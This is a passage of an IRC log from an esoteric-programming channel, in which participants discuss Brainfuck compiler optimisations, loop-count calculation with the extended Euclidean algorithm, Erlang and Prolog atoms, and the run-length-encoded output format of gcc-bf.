(Operation timed out)). 03:08:33 sequential write...12 megabytes/second 03:08:35 now that's slow 03:24:35 -!- Corun has quit (Read error: 60 (Operation timed out)). 03:38:55 -!- Corun has joined. 04:26:44 -!- Dewio has changed nick to Dewi. 05:24:12 -!- Corun has quit ("Leaving..."). 05:50:10 -!- bsmntbombdood has quit (Remote closed the connection). 05:59:11 -!- bsmntbombdood has joined. 06:27:18 -!- Judofyr has joined. 06:31:17 it's like a zillion times quieter in here now that i finally got rid of that hard drive 07:29:50 -!- inurinternet has quit (Read error: 60 (Operation timed out)). 07:32:41 -!- inurinternet has joined. 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:00:22 -!- Judofyr has quit (Remote closed the connection). 08:00:51 -!- Judofyr has joined. 08:11:38 -!- M0ny has joined. 08:16:57 -!- Judofyr has quit (Read error: 110 (Connection timed out)). 08:37:11 -!- sebbu has joined. 10:34:28 -!- BeholdMyGlory has joined. 10:39:51 ... Walking drives? <-- huh? 10:42:01 ah 10:42:02 found it 10:42:05 in the jargon file :) 11:00:53 -!- Judofyr has joined. 11:02:16 -!- KingOfKarlsruhe has joined. 11:33:29 -!- ais523 has joined. 11:41:03 wow 11:41:14 I just found out that you can have spaces in function names in erlang 11:41:24 not usual, and rather confusing 11:41:31 but technically possible 11:42:22 hi ais523 btw 11:42:40 hi 11:42:44 la 11:42:51 "la"? 11:42:53 why did I just say la? I didn't mean to type that 11:42:57 it must have been an extended typo 11:43:15 heh 11:43:17 ah, I was starting to type "also", got the first two letters the wrong way round, then hit return instead of backspace 11:43:51 also, Prolog allows arbitrary characters in predicate names, but you have to escape the wierder ones 11:43:57 ais523, anyway function names (and module names) are atoms 11:44:02 yes, same in Prolog 11:44:03 so any valid atom can be used 11:44:06 even the null atom 11:44:08 which is '' 11:44:15 I've never tried that in Prolog 11:44:17 * ais523 tests 11:44:35 (you have to use single quotes, like in 'foo bar' if the atom isn't "the normal way") 11:46:08 | ?- assertz((''(X) :- 3 is X)). 11:46:10 yes 11:46:11 | ?- ''(1 + 2). 11:46:13 yes 11:46:14 | ?- ''(2 * 2). 11:46:16 no 11:46:20 * AnMaster wonders what the null module filename would be 11:46:26 ''.erl or just .erl 11:46:37 and what about the produced code file... .beam or ''.beam 11:46:38 hm 11:49:41 hm neither seems to work 11:49:50 foo bar.erl works for 'foo bar' 11:49:56 null atom fails though 11:53:36 ais523, hm I guess you could do lisp/scheme style function names with this if you wanted 11:53:58 'is-integer?'(Int) and 'integer->string'(Int) and so on 11:54:26 not really, at least not in Prolog, because the calling conventions are so different 11:54:31 your examples return a boolean and a string 11:54:40 neither Prolog equivalent would return anything 11:54:44 as Prolog predicates don't have return values 11:54:48 ais523, perfectly possible in erlang though 11:54:52 so you'd have integer(Int) and integer_string(Int,String) 11:55:03 the second of which would convert either way round, depending on which argument it was given 11:55:16 and the first of which would fail if given a non-integer value 11:55:35 ais523, I would use the BIF is_integer/1 in erlang 11:55:42 allowed in guard tests too 11:56:00 BIF? 11:56:05 Built In Function 11:56:12 ah 11:56:22 well, those are built-in functions in Prolog too, although I think the second has a slightly different name 11:56:31 maybe atom_int or int_atom or something 11:56:38 though, there is an EEP about allowing user defined functions in guards... iirc 11:57:32 for integer->string I would actually do something like io_lib:format("~p", [MyInteger]) I guess... 11:57:47 atom_number(?Atom, ?Number), can be called both ways. 11:57:55 "both ways"? 11:58:15 To convert from atom to number, or number to atom. 11:58:26 io_lib:format("~p", [MyInteger]) <-- though that would be "anything to string..." 11:59:00 ?- atom_number(X, 42). 11:59:00 X = '42'. 11:59:00 ?- atom_number('123', Y). 11:59:00 Y = 123. 11:59:10 mhm 12:01:50 Prolog is so refreshingly different. 12:01:53 ?- atom_concat(A, B, foo). 12:01:53 A = '', 12:01:53 B = foo ; 12:01:53 A = f, 12:01:55 B = oo ; 12:02:06 ais523, btw... not sure if you saw it. but in-between now compiles that hello world as well as esotope-bfc 12:02:11 for other programs, I'm close 12:02:14 but not fully there 12:02:22 ah, interesting 12:02:36 some more work is needed on the polynom stuff to handle "constant isn't known in advance" case. 12:02:36 maybe we should give it some gcc-bf output to see how it reacts? 12:02:44 I'll see if I have a working hello world at the moment 12:03:23 basically, all the stuff needed is there... Except I don't have an opcode to represent arbitrary stuff like p[2]=p[4]*p[9] 12:03:32 so need to add that to the various passes. 12:03:48 -!- kar8nga has joined. 12:04:35 ais523, anyway, I got this idea for using a dependency graph, instead of operating on the parse tree... But I'm not sure how to represent loops. Neither balanced or unbalanced. 12:05:18 ais523, if you have any idea about it... A DAG seems useful to handle it in general 12:05:42 but I really know to little about these things 12:08:16 $ ls -l hworld1.bfrle 12:08:18 -rw-r--r-- 1 ais523 ais523 443921 2009-05-22 12:07 hworld1.bfrle 12:08:41 ais523, ouch that is bad 12:08:48 ais523, the one I worked on was a simple one 12:08:59 >+++++++++[<++++++++>-]<.>+++++++[<++++>-]<+.+++++++..+++.>>>++++++++[<++++>-] 12:08:59 <.>>>++++++++++[<+++++++++>-]<---.<<<<.+++.------.--------.>>+. 12:09:00 is what I used 12:09:10 I can also do the same for any !bf_txtgen 12:09:16 (which that one isn't) 12:09:22 AnMaster: 443921 for a hello world isn't that bad 12:09:28 ais523, is that bytes 12:09:29 although that's avoiding both stdio and UNIXy output 12:09:32 and yes, bytes 12:09:41 because it has to link in much of the C standard library 12:09:49 I imagine that's mostly exception handling 12:09:50 ais523, well. I probably can't do much for it 12:09:54 such as signals, etc 12:10:07 ais523, err... can't you disable the pointless exception handling 12:11:06 yes, by substituting your own __outside_main 12:11:18 it gets a lot shorter if you do that 12:13:14 ah, it's atexit that's taking up the space 12:13:41 * AnMaster founds out why something didn't work... 12:14:17 because I tried to be smart and reduce work, but checking if value was already calculated and thus neededn't be recalculated... Except it it had been partially calculated... 12:17:40 anyway, you might want to use my rather long hello, world as a test 12:17:49 ais523, link for download? 12:18:04 let me put it online 12:18:08 thanks 12:18:25 AnMaster: fyi, i fixed the mistake in codegen for while. i'm also trying to improve readability of the code generally. 12:19:16 lifthrasiir, I can't figure out how your code for the iteration count work, so I'm using a "stupid" way of doing it, but it works and is easy to understand 12:19:26 is_add_infinite(Const, Diff) -> 12:19:26 is_add_infinite(Const, Diff, (Const + Diff) rem 256, 1). 12:19:27 is_add_infinite(_Const, _Diff, 0, Iters) -> 12:19:27 {false, Iters}; 12:19:27 is_add_infinite(Const, _Diff, Const, _Iters) -> 12:19:27 true; 12:19:31 is_add_infinite(Const, Diff, Cur, Iters) -> 12:19:33 is_add_infinite(Const, Diff, (Cur + Diff) rem 256, Iters+1). 12:19:47 just iterating until it either repeats or hits 0 12:19:50 AnMaster: calculating loop count? 12:20:05 lifthrasiir, both if it is infinite or finite with a fixed count yeah 12:20:18 -!- oerjan has joined. 12:20:38 AnMaster: http://filebin.ca/pqzmno/hworld1.bfrle 12:20:40 lifthrasiir, performance seems quite goof for the small numbers of bf 12:20:43 note that that's run-length encoded 12:20:53 ais523, err? 12:20:59 how do I uncompress it or whatever 12:20:59 in a format where +*10 means ++++++++++ 12:21:06 ais523, I can't run that... 12:21:28 well, you may want to modify your interp to accept code that's already been encoded, that would be a lot more efficient than expanding and recontracting again 12:21:34 because you almost certainly optimise runs of + and > 12:21:38 well... let's assume the current cell is X before the loop, and the loop adds Y (or subtracts if Y<0) to/from the current cell . 12:21:43 ais523, it would possibly break comments in normal bf files 12:21:48 I only accept "core bf" 12:21:53 yep, which is why you make it a command-line option 12:22:04 ais523, I don't have command line option handling 12:22:12 I would need to implement it 12:22:13 :/ 12:22:20 then there are several options: one thing is of course the trivial infinite loop, Y=0. 12:22:20 but it's almost 444 metric kilobytes as it is 12:22:39 ais523, anyway, you are free to implement an alternative parser module 12:22:54 >>>+ 12:22:55 >>>+ 12:23:01 AnMaster: setting up memory 12:23:08 ais523, how many cells are needed 12:23:15 currently I'm hard coded at 3000 iirc 12:23:16 loads, several thousand I imagine 12:23:19 can be changed in source 12:23:20 I can have a look at the exact value if you like 12:23:36 ais523, would need to know. as I treat "if you go outside the tape you are on your own" 12:23:37 currently 12:23:55 if Y!=0, then the loop runs k times where (X+Y*k) is a multiple of 256 (let's say it be W, for generalization), and runs forever if there is no such k. 12:23:56 then there are several options: one thing is of course the trivial infinite loop, Y=0. <-- yes, I handle that "unchanged" one elsewhere 12:24:57 AnMaster: 0x862 * 6 tape elements of globals are used, plus 64 registers, plus a bit extra; the stack is shorter than that (it's mixed with the globals), and I don't think I use any heap 12:25:19 ais523, so how large does the tape need to be?... 12:25:23 so 13000 should be enough 12:25:24 if Y<0, we can (safely) use W-Y instead, as it does same thing: adding Y is equivalent to adding (W-Y). so let's say Y>0. 12:25:32 heh 12:25:45 ais523, anyway I would need a more complex parser module than currently 12:25:49 that looks ahead too 12:26:02 AnMaster: no need to look ahead, just repeat the last character if you see a * 12:26:17 ais523, I need to read the number after 12:26:18 then X and Y is both assumed to be non-negative; we essentially have to solve the following equation, X+Y*k = W*x. 12:26:37 ais523, which I assume is in hex for compactness? :P 12:26:41 nah, decimal 12:26:44 heh 12:26:50 base64 would be most compact 12:26:53 you could shave off a few bytes by making it hex, I suppose 12:26:59 but the number rarely goes above a few thousand 12:27:01 ais523, base64 12:27:19 lifthrasiir, hm 12:27:23 lifthrasiir, what is Y there 12:27:35 and X.. 12:27:39 W was overflow value I remember 12:27:47 the highest number in that code is <*12897 12:27:55 that's coming back from the end of the tape to near the start 12:28:09 lifthrasiir, and why was that code dividing a class by a number... 12:28:13 AnMaster: X is the current cell before the loop; Y is the addition to the current cell. 12:28:19 it confused me 12:28:25 what class do you mean? 12:28:35 lifthrasiir, expr iirc 12:28:52 in simpleloop.py 12:29:07 lifthrasiir, W is 256? 12:29:08 AnMaster: in case of ++[---->+<], X=2, Y=-4. i assume Y be positive so it should be Y=W-4=252 though. 12:29:24 ah yes 12:29:25 AnMaster: it's because X is (generally) not known in advance. 12:29:50 instead i construct (by dividing etc) the equivalent Expr object. 12:30:13 lifthrasiir, what exactly does and expr represent? 12:30:23 a stretch of code? 12:30:31 for example, Expr[0] / 4 gives the expression tree for "the quotient of the current cell divided by 4", etc. 12:30:38 ah 12:31:05 that's just for convenience, though i should have added more comments for it. 12:31:13 anyway, 12:31:23 this is equivalent to W*x-Y*k = X; we can solve W*a-Y*b = gcd(W,Y) then, by extended euclidean algorithm. 12:31:47 you lost me about there. 12:31:57 :/ 12:32:11 AnMaster: hmm... let's explain. 12:32:23 lifthrasiir, I mean, lost me mathematically 12:32:30 ah well 12:34:38 AnMaster: you need more explanation, or give up about that then? 12:34:45 lifthrasiir, not sure... 12:35:12 lifthrasiir, how much would I gain from using your method, except speed. 12:35:23 (possibly) 12:35:46 i'm not sure what is your method. does it work for every possible cases? or a subset of them? 12:36:31 lifthrasiir, currently not for when X is unknown. But I have an idea of how to make that work 12:36:42 which is what I'm working on atm 12:41:20 bbiab 12:41:31 * oerjan scares AnMaster with the extended euclidean algorithm. Boo! 12:42:58 oerjan: :D 12:43:28 lifthrasiir: i tried explaining it to him the other day, for the same purpose i think 12:43:38 o 12:44:09 oerjan: and stuck at the extended euclidean like this, right? 12:44:25 actually he did implement the EEA in erlang... 12:45:28 maybe it was just all the letter symbols that scared him 12:46:44 -!- Judofyr has quit (Remote closed the connection). 12:47:14 -!- Judofyr has joined. 12:50:46 -!- sebbu2 has joined. 12:56:18 -!- sebbu has quit (Read error: 110 (Connection timed out)). 12:56:18 -!- sebbu2 has changed nick to sebbu. 12:57:49 -!- kar8nga has quit (Remote closed the connection). 13:04:54 -!- Judofyr has quit (Read error: 110 (Connection timed out)). 13:10:32 oerjan, I didn't understand the algorithm 13:10:34 that is the thing 13:10:48 sure, I can see how to calculate the EEA from pseudo code 13:11:03 or from the definition 13:11:13 but that doesn't actually help me understand why/how it works 13:13:22 ok, point 1: a number X can be written as a sum of a multiple of W and a multiple of Y if and only if X is divisible by gcd(W,Y). 13:14:05 X = W*x - Y*k in lifthrasiir's equation 13:14:08 hm 13:14:22 ok 13:14:32 (you can make that - a +) 13:14:47 hm ok 13:15:06 ais523, btw what is your rle file format officially called. For purpose of the parser name. 13:15:17 I don't think it has an official name 13:15:27 "gcc-bf run-lenth-encoded output" is descriptive enough 13:15:32 *run-length-encoded 13:15:53 ais523, one word name. ib_load_file_gccbfrle.erl ? 13:15:58 seems a bit bulky 13:16:36 oerjan, is W still the overflow value? 13:16:40 oerjan, that is, 256 13:16:45 AnMaster: it's the sort of name I might use 13:16:53 AnMaster: well for BF yes 13:17:12 ais523: where is gcc-bf now? it seems to be disappeared with death of eso-std.org. 13:17:20 lifthrasiir: on my hard drive 13:17:26 ;) 13:17:28 since eso-std.org died, it isn't hosted anywhere 13:17:32 but copies are available on request 13:17:38 I haven't worked on it for ages, though 13:17:46 oerjan, "X is divisible by gcd(W,Y)" implies "resulting in an integer"? 13:17:48 next thing to implement is probably bitshifts 13:17:49 point 2: if X = m*gcd(W,Y), then we can solve for x and k by first solving the equation W*x' + Y*k' = gcd(W,Y) and setting x = m*x', k = -m*k' 13:17:57 AnMaster: yes. these are all integer equations 13:17:59 some, like leftshifts without carry, are trivial 13:18:01 oerjan, so that X mod gcd(W,Y) = 0 13:18:05 some, like signed rightshifts, aren't 13:18:16 AnMaster: true 13:18:21 ais523: interesting. 13:18:23 point 2: if X = m*gcd(W,Y), then we can solve for x and k by first solving the equation W*x' + Y*k' = gcd(W,Y) and setting x = m*x', k = -m*k' <-- what is m 13:18:40 AnMaster: m = X/gcd(W,Y) 13:18:54 ah 13:19:53 oerjan, why lower case x but upper case y? 13:20:07 AnMaster: there was an upper case X too 13:20:11 as lifthrasiir 13:20:15 oerjan, oh is it case sensitive 13:20:16 *ask 13:20:31 AnMaster: math is generally case sensitive 13:20:59 it is even _font_ sensitive, but we cannot use that on irc 13:21:28 (for weirder fonts such as calligraphic, anyway) 13:21:32 some programming languages are font-sensitive 13:21:45 oerjan, x' is supposed to be "deriverad" right? (Don't remember the English word for it) 13:21:48 algol 68 famously was, and specified all sorts of ways to indicate the two fonts 13:21:50 in an appendix 13:21:50 AnMaster: no 13:22:00 AnMaster: "derivative" is the English word 13:22:03 AnMaster: ' = prime, it's just part of the name 13:22:09 but the same notation can also just mean "a different x" 13:22:19 oerjan, isn't that more like a forward slanting ` ? 13:22:21 what ais523 said 13:22:24 can't seem to type it 13:22:24 the symbol's called "prime" when used in that context 13:22:39 AnMaster: i'm trying to get by with mostly ascii here! 13:22:51 oerjan, kay. Caused some confusion 13:23:32 Prime is ′, there's also the double-prime ″ and triple-prime ‴. But ' is a very good substitute. 13:23:51 AnMaster: i used the same names with a prime because the equation with gcd(W,Y) parallels the one with X 13:23:54 fizzie, the ' seems more like in y = 'y + x to me 13:23:56 'err 13:24:03 y' = y' + x 13:24:06 is what I meant to type 13:25:25 AnMaster: anyway, since the extended euclidean algorithm also calculates gcd(W,Y) for us, we can first use it to solve W*x' + Y*k' = gcd(W,Y) and then check if X is divisible by gcd(W,Y) 13:25:44 It's exactly the same "prime" character they use with derivatives as well as in the "transformed x" case, so ' shouldn't really look "more like a derivative". 13:26:21 fizzie, I blame the typesetting in the textbook that introduced me to derivatives! 13:28:05 Well, Newton used the ḋȯṫ ȧḃȯv̇ė, that's even sillier. 13:28:25 yes I just read http://en.wikipedia.org/wiki/Notation_for_differentiation 13:28:35 So ö is the second derivative of o. 13:29:18 AnMaster: note that the algorithm only gives one solution for x' and k'. the others are x' + n*(Y/gcd(W,Y)), k' - n*(W/gcd(W,Y)) for an arbitrary n, iirc 13:29:27 Like wikipedia says, physicians tend to mix dots and primes and use the character to differentiate between time-derivatives and other-derivatives. 13:29:42 oerjan, err *please stand by while parsing* 13:29:50 ah right 13:30:44 *physicists 13:30:54 oerjan, are the other solutions relevant though 13:31:02 for this purpose 13:31:31 AnMaster: only one is relevant, but i'm not sure the algorithm gives the right one immediately 13:32:07 in the original you want the smallest possible positive k for X = W*x - Y*k 13:32:38 hm 13:32:40 because that corresponds to the first time you hit 256*x in the BF loop 13:33:52 since k is the number of iterations 13:34:14 -!- BeholdMyGlory_ has joined. 13:34:28 oerjan, then another question is: What does I gain compared to my brute force variant. 13:34:32 apart from speed 13:34:53 AnMaster: you can solve it for general X, so you don't need it to be constant 13:35:00 ah 13:35:18 -!- BeholdMyGlory has quit (Nick collision from services.). 13:35:21 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 13:35:35 the resulting equation is very simple, just a multiplication by constant. 13:35:44 expression* 13:35:53 http://esolangs.org/wiki/User:Maxsteele2 < this looks a bit useless so far 13:36:14 lifthrasiir, your expression code is confusing though 13:36:46 but yeah I see how it could work 13:36:53 AnMaster: agree, since the entire code is started from ad-hoc script. 13:37:05 Slereah_: well it's a user page 13:37:55 I mean, everything he did :o 13:38:30 lifthrasiir, I didn't write a design document either. But I thought for about half a minute about design first. And I have written BF compilers before 13:38:49 -!- Corun has joined. 13:39:39 and that meant: main control module (handles calling the other ones in the right order) file loader module, optimiser modules, output modules 13:40:29 ais523, correct me if I'm wrong... But you said the only difference was that on * you read the number (in decimal) that follows, and multiplies the previous instruction by that 13:40:37 yes 13:40:40 ais523, and this is only allowed for - + > it's only generated for - + > < 13:40:56 ais523, generated != allowed 13:41:00 there is a bit of difference 13:41:02 agreed 13:41:08 I wouldn't allow it for [ and ], anyway 13:41:24 as for . and , I can't think of a sensible use-case for repeating, so they're disallowed too 13:41:30 right 13:41:35 AnMaster: well, i agree it is undocumented, but the design itself is, i think, reasonable. 13:41:42 and repeating % makes no sense, but % in gcc-bf output is a true comment from the point of view of most interps 13:41:48 as it's the equivalent of assert in C 13:41:52 ais523, why the odd newlines. I mean >>>+\n>>>+\n is a bit wasteful 13:42:00 ^bf ++++++++[->++++++++<]>+............................... 13:42:00 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 13:42:08 AnMaster: the newlines correspond to different things in the original 13:42:09 lifthrasiir, possibly. But I'm not familiar with python OOP really. 13:42:20 and \n isn't really that wasteful 13:42:38 lifthrasiir, and I strongly dislike abstractions you can't easily inspect. like when print Expr didn't didn't something sane 13:42:45 had to figure out I needed print Expr.code 13:43:23 ais523, the integer will be [1-9][0-9]* right? 13:43:31 yes 13:43:56 [This code requires an 8-bit wrapping implementation, and 13:43:56 lots of tape space! Use of an implementation that optimises 13:43:56 long runs of + - < > is strongly recommended.] 13:43:59 that looks invalid 13:44:05 AnMaster: header comment 13:44:08 ais523, infinite loop 13:44:15 AnMaster: it's at the very start of the file, it never runs 13:44:28 ais523, so I need to skip the first few [] too? 13:44:30 [.+-<>.] at the very start of regular BF does nothing 13:44:32 AnMaster: no, you don't 13:44:35 AnMaster: you mean Expr.__repr__ in esotope-bfc has any side effect? 13:44:40 [.+-<>.] at the very start of regular BF does nothing <-- huh? 13:44:43 [,+-<>.] is legal BF code 13:44:44 Tape is 0 at the beginning, so it's skipped always. 13:44:47 but the [ sees that the tape is 0 13:44:50 so it jumps past the ] 13:45:05 lifthrasiir, no. but figuring out why what I thought was a plain integer printed as {3}... 13:45:12 I still don't know 13:45:24 it seemed to be the offset though 13:45:28 AnMaster: ah, that needs some explanation, right. 13:45:31 ais523, ah right 13:45:45 ais523, yeah I optimise that 13:45:52 that was once p[3], but changed to compact and language-neutral notation. 13:46:03 a header comment - a no-op loop either at the start of a file or immediately after another loop - is a common BF idiom 13:46:12 and trivial to optimise out 13:46:19 lifthrasiir, So your code generators parse the strings? 13:46:37 AnMaster: no, just code generator and inspection routine was same. 13:46:42 were* 13:46:48 lifthrasiir, mine parse the bf code tree. Not sure if "parse tree" would fit. Since it isn't any longer at that point 13:47:38 lifthrasiir, I also tried to print the __dict__ since that usually seems to work to inspect internals of python objects. Only when I found out what __slots__ did I understood why that didn't work 13:48:19 AnMaster: people normally call it a parse tree anyway, even though it isn't 13:48:25 ais523, so that is why lostking starts with (iirc) [-][.] ? :P 13:48:32 AnMaster: quite probably 13:48:35 ais523, it isn't really an AST either 13:48:39 no doubt there are comments there, just you've never looked 13:48:40 or maybe it is 13:48:46 ais523, there aren't 13:48:56 well there are iirc. but not like that 13:48:57 maybe they were removed in the version you have? 13:49:15 mine is comment less yeah 13:49:25 but I seen one beginning with something like # Foo barh 13:49:29 and so on 13:49:38 ais523, mine ends with a @ if that helps 13:49:43 I have a version starting #!/usr/bin/bf, followed by some authorship information 13:49:50 ais523, that is missing here 13:49:51 but it has just a plain [-][.] at the start 13:49:53 without comments in 13:50:05 AnMaster: maybe i should make __repr__ prints '', and add something like ascompact() for helping other __repr__s. you're right at that point. 13:50:06 mine also ends without an @, though 13:50:44 ais523, iirc lostking came with some optimiser script... I might have used it 13:51:06 wow, bfrle is /fast/ on LostKng, and it isn't even particularly optimising 13:51:23 (bfrle's my BF interp, invented specifically to debug gcc-bf, and it has several features for doing that) 13:51:37 lifthrasiir, I have nothing against objects and structs, as long as they are transparently inspectable for debugging/tracing purposes! 13:51:56 AnMaster: but __dict__ is not an universal way for inspecting python object. 13:52:12 lifthrasiir, yeah, I'm missing that 13:52:26 lifthrasiir, what is the universal way. That reveal all the relevant instance data 13:52:36 so i think i just have to document the semantics, and that should be all. 13:53:24 AnMaster: i'm not sure, but __dict__ is not that way. 13:54:05 for erlang records, I just have to print it. Internal format of erlang records are tagged tuples. So while a bit hard to read "{bfe_block,true,false,false,false,false,4,false,{add,3},{dict,.......},true}" it is quite possible. And I could just import the record definition in the REPL and it will pretty print it for me. 13:54:08 whoops, the wiki spammers are catching on: "This site is crazy :)" 13:54:09 or using dir() to retrieve all attributes. 13:54:19 oerjan: haha 13:54:45 lifthrasiir, did you say dir() isn't it? 13:54:48 or that it is? 13:54:53 that it is. 13:54:56 ah 13:55:06 but it will include a list of methods as well 13:55:19 Python has the "inspect" module if you want to poke live objects. 13:55:20 (since bounded methods are accessed like attributes) 13:55:39 hm 13:56:04 fizzie: oh, i completely missed that module. 13:57:24 ais523, hm an issue... pattern matching becomes less optimised for the RLE in this case. Due to how erlang optimises certain form of pattern matching to just pass a pointer to the tail instead of building a new binary. For pathological cases it might be slower to load a RLE encoded file thus 13:57:47 not sure if it would be noticable 13:57:52 AnMaster: the unencoded file has trouble fitting in my memory, the RLE-encoded file doesn't 13:58:02 ais523, how large is the unencoded one 13:58:09 probably not that much larger in this case 13:58:24 but for large programs like C-INTERCAL, large enough that it's caused thrashing before now 13:58:31 I need to scan the tail to read the integer 13:58:41 then continue on the tail 13:59:00 I guess I could implement stateful parsing 13:59:12 to have a "integer state" and "normal" state 13:59:15 hm that might work 13:59:48 anyway, going for a couple of hours, I want to go home 13:59:51 and have something to eat on the way 14:00:06 cya 14:00:19 -!- ais523 has quit (Remote closed the connection). 14:22:33 -!- nooga has joined. 14:42:03 hm that file is invalid 14:44:33 when he gets back I have to point out that 14:44:37 [-*- brainfuck -*-] 14:44:38 nooo... there's a bug in my tea 14:44:40 is invalid at the start 14:44:47 nooga, use a debugger then 14:44:59 tried, bud now it tastes awful 14:45:03 but* 14:45:06 nooga, which debugger? 14:45:09 gdb? 14:45:20 ehe 14:45:27 what? 14:45:58 uhuh 15:01:29 llvm still not buildable ;| 15:05:53 AnMaster: [-*- brainfuck -*-] is invalid at the start? why? 15:06:30 lifthrasiir, because it is run length encoded by (regex!) [+-<>]\*[1-9][0-9]* 15:06:36 and - is no number 15:06:44 thus invalid RLE encoding 15:06:46 ah, you mean RLE? 15:07:19 -!- BeholdMyGlory_ has joined. 15:07:30 but then one + should be encoded as +1? 15:07:37 (inferred from your regex) 15:07:41 ugh 15:07:57 lifthrasiir, read it again 15:08:06 lifthrasiir, it is *123 15:08:10 after an instruction 15:08:13 to duplicate it 15:08:14 oh i missed \. :( 15:08:15 anyway 15:08:17 I can't process it 15:08:18 got it 15:08:27 I just swap trashed 15:08:30 trying to compile it 15:08:39 [Opt] Pass: ib_opt_init_mem 15:08:40 that pass 15:08:54 but seems too artificial. is that regex mandated in some spec, or just chosen for convenience? 15:09:21 lifthrasiir, I asked ais about the valid format above 15:09:31 and from what he told me it matches 15:09:41 AnMaster: it's not invalid, just not 1 lookahead... 15:09:51 oerjan, wrong. There must be a number after * 15:10:10 -!- BeholdMyGlory has quit (Nick collision from services.). 15:10:13 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 15:10:20 and if there isn't, you can interpret it as a standalone * 15:10:49 being a comment 15:11:25 the only reason to disallow it it is a slightly easier parsing 15:12:14 *-it 15:13:15 ais523, the integer will be [1-9][0-9]* right? 15:13:22 yes 15:14:27 AnMaster: that regex doesn't mention comments at all, thus if comments are allowed anything which doesn't match it must be a comment, q.e.d. >:) 15:14:42 oerjan, removing dead loops happen way later than parsing 15:14:59 >_< 15:14:59 in the "intitial memory all zero" propagation pass 15:15:15 that's insane 15:15:19 -> bus 15:15:22 -!- oerjan has quit ("leaving"). 15:15:28 oerjan, why? It allows stuff you can't otherwise 15:15:37 like constant folding ++ into "set 2" 15:15:42 my parsing pass just parses 15:15:44 nothing else 15:18:21 [-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[-[- <-- this looks really strange 15:18:32 yeah there are other code later 15:18:34 in each loop 15:18:50 [-[- 15:18:50 ]<[- 15:18:54 that is a bit wasteful 15:19:10 [-[-]<[- is equal to [[-]<[- after all 15:37:09 -!- tombom has joined. 15:40:38 ah 15:40:40 that helped 15:40:48 limited memory for erlang 15:43:08 -!- ais523 has joined. 15:43:17 ais523, your file is invalid 15:43:22 -*- at the start 15:43:25 not a valid RLE 15:43:27 brb 15:47:04 back 15:47:08 ais523, see what I mean? 15:47:32 AnMaster: well, I suppose that as it isn't asterisk-number, it's just a comment 15:47:34 but good point 15:48:07 ais523, oh and the generated code is more than twice as large the generated code of lostking 15:48:29 well, it contains atexit 15:48:34 which in turn contians malloc 15:48:52 ais523, roughly the first ~5000 lines are spent for setting those 1s every third cell 15:48:59 gccbflife.c lines 5125-5170/97136 6% 15:49:04 I'm stopped just after that 15:49:09 oh and you generate silly code too 15:49:15 [-[- 15:49:17 ]<[- 15:49:27 AnMaster: that's a case statement 15:49:29 which when put on one line for readability 15:49:36 [-[-]<[- which is equal to [[-]<[- after all 15:49:39 with no contents 15:49:41 why the wasteful - there 15:49:50 and to keep the start of each statement consistent 15:49:51 ais523, it is right after the constant setting code 15:50:05 yes, it's the very first case of the case statement 15:50:24 ais523, I had to ulimit erlang to 512 MB RAM to avoid swap trashing in the "initial memory is all zero" propagation pass 15:50:29 and as they're in reverse order, it's the bit after the end of the program 15:50:31 that made it GC more often 15:50:33 am i right that inline clause does not guarantee that function will be used inline? 15:50:38 nooga: correct 15:50:41 it's a compiler hint 15:50:50 many compilers will respect hints such as inline and register 15:51:03 which is ironic because the compiler can often do better than you can at figuring out where inline and register should go 15:51:18 under what circumstances? 15:51:25 while (p[0]) { 15:51:25 while(*p) p-=6; 15:51:25 p-=6; 15:51:25 } 15:51:28 that is a bit odd 15:51:31 There's __attribute__ ((always_inline)) if you really *want* it to be inlined. 15:51:35 the inner one is due to [<<<<<<] 15:51:40 being converted into a "seek" node 15:51:57 pikhq, I once used the opposite, never_inline, in cfunge 15:52:06 nooga: the only compiler I know some of the rules for is the old Borland C++ 4 15:52:08 it was for the --help output function 15:52:12 which would never inline anything containing loops, for some reason 15:52:15 which GCC liked to inline into the hot code path 15:52:16 ... That's an attribute? 15:52:22 static does the same thing. 15:52:24 pikhq, don't remember the spelling 15:52:27 aw 15:52:31 could be no_inline 15:52:32 or similiar 15:52:35 check gcc docs 15:52:57 because i thought that i can use functions for sadol loops that return value 15:53:19 AnMaster: It's just that static would do the same thing. ;) 15:53:35 !sadol :i+91!@>i0:i+i1 15:53:45 -!- inurinternet has quit (Connection timed out). 15:53:47 pikhq, as what 15:53:49 damn 15:53:49 - 15:53:56 !sadol :i+91!@>i0:i-i1 15:53:56 0 15:53:59 pikhq, static does not prevent inlining 15:54:04 !sadol :i+91!@>i1:i-i1 15:54:04 1 15:54:08 pikhq, rather it makes it more likely 15:54:16 Oh, right. 15:54:17 pikhq, since compiler can know function isn't used from outside 15:54:25 The *lack* of static would. 15:54:25 :p 15:54:55 ais523, anyway, once I removed the -*- line I can parse your file. The issue with with the initial memory all zero propagation pass 15:55:00 And actually, it wouldn't prevent inlining, it'd just make sure there was a non-inlined one. 15:55:15 AnMaster: incidentally, [>>>>>>] and [>>>], etc, are very very common in gcc-bf 15:55:17 ais523, which as it goes, builds a set of clobbered locations, and converts those + into sets 15:55:19 they're how I implement pointers 15:55:31 but the bit at the start is just initialising memory with constants 15:55:33 -!- coppro has quit (Connection timed out). 15:55:42 ais523, they are turned into seek nodes, and I can't currently track max/min bounds on where it could move 15:56:00 only think I know after a seek is that current cell will be 0 15:56:01 theory: I may somehow be able to get smaller programs by automatically setting every third cell to 1 15:56:13 ais523, err? 15:56:25 I mean, some sort of loop that sets every third cell to 1 15:56:30 rather than doing it all by hand 15:56:38 trying to figure out when to end might be tricky, though 15:57:05 ais523, it would really need converting into a loop. From unrolled code 15:57:21 something I can't do currently. Nor do most other BF programs gain anything from it 15:57:46 ais523, anyway it isn't trivial in that program 15:57:47 p[10079]=2; 15:57:47 p[10081]=1; 15:57:47 p[10084]=1; 15:57:47 p[10085]=118; 15:57:47 p[10087]=1; 15:57:48 p[10090]=1; 15:57:50 p[10091]=6; 15:57:54 p[10093]=1; 15:57:56 a section of the constant folded code 15:57:58 from the start 15:58:03 ais523, not EVERY cell is actually 1 15:58:05 AnMaster: yes, the idea would be to set all the non-third values separately 15:58:06 some are other values 15:58:08 then set every third cell to 1 15:58:14 if you look, you'll notice that every third cell is 1 15:58:17 just some of the others have values too 15:58:33 that's the equivalent of the initialised data section 15:58:46 ais523, can't you optimise out atexit() and such 15:58:46 atm, I mix bss in with initialised data 